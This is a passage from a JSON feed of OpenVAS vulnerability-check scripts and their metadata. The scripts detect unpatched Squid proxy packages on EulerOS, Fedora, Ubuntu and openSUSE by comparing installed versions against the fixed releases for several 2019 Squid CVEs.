\"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-02-24 09:07:23 +0000 (Mon, 24 Feb 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-02-24 09:07:23 +0000 (Mon, 24 Feb 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for squid (EulerOS-SA-2020-1133)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP5\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2020-1133\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1133\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'squid' package(s) announced via the EulerOS-SA-2020-1133 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.(CVE-2019-18679)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.(CVE-2019-18677)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks, any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme.(CVE-2019-18676)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon.(CVE-2019-18678)\n\nAn issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap.(CVE-2019-12526)\n\nAn issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost.(CVE-2019-12523)\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Huawei EulerOS V2.0SP5.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP5\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.8~3.h1.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-14T14:48:06", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-01-09T00:00:00", "type": "openvas", "title": "Fedora Update for squid FEDORA-2019-9538783033", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-01-13T00:00:00", "id": "OPENVAS:1361412562310877272", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877272", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877272\");\n script_version(\"2020-01-13T11:49:13+0000\");\n script_cve_id(\"CVE-2019-18678\", \"CVE-2019-18677\", \"CVE-2019-18679\", \"CVE-2019-18676\", \"CVE-2019-12526\", \"CVE-2019-12523\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-13 11:49:13 +0000 (Mon, 13 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 07:35:02 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"Fedora Update for squid FEDORA-2019-9538783033\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC31\");\n\n script_xref(name:\"FEDORA\", value:\"2019-9538783033\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTM74TU2BSLT5B3H4F3UDW53672NVLMC\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the FEDORA-2019-9538783033 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Squid is a high-performance proxy caching server for Web clients,\nsupporting FTP, gopher, and HTTP data objects. Unlike traditional\ncaching software, Squid handles all requests in a single,\nnon-blocking, I/O-driven process. Squid keeps meta data and especially\nhot objects cached in RAM, caches DNS lookups, supports non-blocking\nDNS lookups, and implements negative caching of failed requests.\n\nSquid consists of a main server program squid, a Domain Name System\nlookup program (dnsserver), a program for retrieving FTP data\n(ftpget), and some management and client tools.\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Fedora 31.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC31\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.9~2.fc31\", rls:\"FC31\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-27T18:33:18", "description": "The remote host is missing an update for the Huawei EulerOS\n ", "cvss3": {}, "published": "2020-01-23T00:00:00", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for squid (EulerOS-SA-2020-1034)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220201034", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220201034", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2020.1034\");\n script_version(\"2020-01-23T13:16:54+0000\");\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 13:16:54 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 13:16:54 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for squid (EulerOS-SA-2020-1034)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP8\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2020-1034\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1034\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'squid' package(s) announced via the EulerOS-SA-2020-1034 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost.(CVE-2019-12523)\n\nAn issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap.(CVE-2019-12526)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks, any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme.(CVE-2019-18676)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.(CVE-2019-18677)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon.(CVE-2019-18678)\n\nAn issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.(CVE-2019-18679)\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Huawei EulerOS V2.0SP8.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP8\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.2~2.h2.eulerosv2r8\", rls:\"EULEROS-2.0SP8\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T14:49:28", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-12-08T00:00:00", "type": "openvas", "title": "Fedora Update for squid FEDORA-2019-0b16cbdd0e", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2019-12-18T00:00:00", "id": "OPENVAS:1361412562310877074", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877074", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877074\");\n script_version(\"2019-12-18T09:57:42+0000\");\n script_cve_id(\"CVE-2019-18678\", \"CVE-2019-18677\", \"CVE-2019-18679\", \"CVE-2019-18676\", \"CVE-2019-12526\", \"CVE-2019-12523\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-12-18 09:57:42 +0000 (Wed, 18 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-12-08 03:32:20 +0000 (Sun, 08 Dec 2019)\");\n script_name(\"Fedora Update for squid FEDORA-2019-0b16cbdd0e\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC30\");\n\n script_xref(name:\"FEDORA\", value:\"2019-0b16cbdd0e\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UEMOYTMCCFWK5NOXSXEIH5D2VGWVXR67\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the FEDORA-2019-0b16cbdd0e advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Squid is a high-performance proxy caching server for Web clients,\nsupporting FTP, gopher, and HTTP data objects. Unlike traditional\ncaching software, Squid handles all requests in a single,\nnon-blocking, I/O-driven process. Squid keeps meta data and especially\nhot objects cached in RAM, caches DNS lookups, supports non-blocking\nDNS lookups, and implements negative caching of failed requests.\n\nSquid consists of a main server program squid, a Domain Name System\nlookup program (dnsserver), a program for retrieving FTP data\n(ftpget), and some management and client tools.\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Fedora 30.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC30\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.9~2.fc30\", rls:\"FC30\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-19T15:00:28", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-12-05T00:00:00", "type": "openvas", "title": "Ubuntu Update for squid USN-4213-1", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12854", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2019-12-18T00:00:00", "id": "OPENVAS:1361412562310844261", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310844261", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.844261\");\n script_version(\"2019-12-18T09:57:42+0000\");\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", \"CVE-2019-12854\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-12-18 09:57:42 +0000 (Wed, 18 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-12-05 03:00:40 +0000 (Thu, 05 Dec 2019)\");\n script_name(\"Ubuntu Update for squid USN-4213-1\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=(UBUNTU18\\.04 LTS|UBUNTU19\\.10|UBUNTU19\\.04|UBUNTU16\\.04 LTS)\");\n\n script_xref(name:\"USN\", value:\"4213-1\");\n script_xref(name:\"URL\", value:\"https://lists.ubuntu.com/archives/ubuntu-security-announce/2019-December/005237.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the USN-4213-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Jeriko One and Kristoffer Danielsson discovered that Squid incorrectly\nhandled certain URN requests. A remote attacker could possibly use this\nissue to bypass access checks and access restricted servers. This issue was\nonly addressed in Ubuntu 19.04 and Ubuntu 19.10. (CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handed URN responses. A remote\nattacker could use this issue to cause Squid to crash, resulting in a\ndenial of service, or possibly execute arbitrary code. (CVE-2019-12526)\n\nAlex Rousskov discovered that Squid incorrectly handled certain strings. A\nremote attacker could possibly use this issue to cause Squid to crash,\nresulting in a denial of service. This issue only affected Ubuntu 19.04.\n(CVE-2019-12854)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly\nhandled certain input. A remote attacker could use this issue to cause\nSquid to crash, resulting in a denial of service, or possibly execute\narbitrary code. This issue was only addressed in Ubuntu 19.04 and Ubuntu\n19.10. (CVE-2019-18676)\n\nKristoffer Danielsson discovered that Squid incorrectly handled certain\nmessages. This issue could result in traffic being redirected to origins\nit should not be delivered to. (CVE-2019-18677)\n\nR\u00e9gis Leroy discovered that Squid incorrectly handled certain HTTP\nrequest headers. A remote attacker could use this to smuggle HTTP requests\nand corrupt caches with arbitrary content. (CVE-2019-18678)\n\nDavid Fifield discovered that Squid incorrectly handled HTTP Digest\nAuthentication. A remote attacker could possibly use this issue to obtain\npointer contents and bypass ASLR protections. (CVE-2019-18679)\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Ubuntu 19.10, Ubuntu 19.04, Ubuntu 18.04 LTS, Ubuntu 16.04 LTS.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"UBUNTU18.04 LTS\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"squid3\", ver:\"3.5.27-1ubuntu1.4\", rls:\"UBUNTU18.04 LTS\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU19.10\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"squid\", ver:\"4.8-1ubuntu2.1\", rls:\"UBUNTU19.10\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU19.04\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"squid\", ver:\"4.4-1ubuntu2.3\", rls:\"UBUNTU19.04\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU16.04 LTS\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"squid3\", ver:\"3.5.12-1ubuntu7.9\", rls:\"UBUNTU16.04 LTS\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T16:48:38", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-11-22T00:00:00", "type": "openvas", "title": "openSUSE: Security Advisory for squid (openSUSE-SU-2019:2540-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12527", "CVE-2019-12529", "CVE-2019-18677", "CVE-2019-12523", "CVE-2019-13345", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-3688", "CVE-2019-12525", "CVE-2019-12854", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-01-31T00:00:00", "id": "OPENVAS:1361412562310852781", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852781", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852781\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12527\", \"CVE-2019-12529\", \"CVE-2019-12854\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-3688\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-11-22 03:00:54 +0000 (Fri, 22 Nov 2019)\");\n script_name(\"openSUSE: Security Advisory for squid (openSUSE-SU-2019:2540-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.0\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:2540-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-11/msg00053.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the openSUSE-SU-2019:2540-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for squid to version 4.9 fixes the following issues:\n\n Security issues fixed:\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\n cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution during URN\n processing (bsc#1156326).\n\n - CVE-2019-12523, CVE-2019-18676: Fixed multiple improper validations in\n URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\n processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to\n HTTP request splitting issue (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest\n Authentication (bsc#1156324).\n\n Other issues addressed:\n\n * Fixed DNS failures when peer name was configured with any upper case\n characters\n\n * Fixed several rock cache_dir corruption issues\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2019-2540=1\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on openSUSE Leap 15.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.0\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.9~lp150.13.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"squid-debuginfo\", rpm:\"squid-debuginfo~4.9~lp150.13.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"squid-debugsource\", rpm:\"squid-debugsource~4.9~lp150.13.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T16:30:14", "description": "The remote host is missing an update for the ", 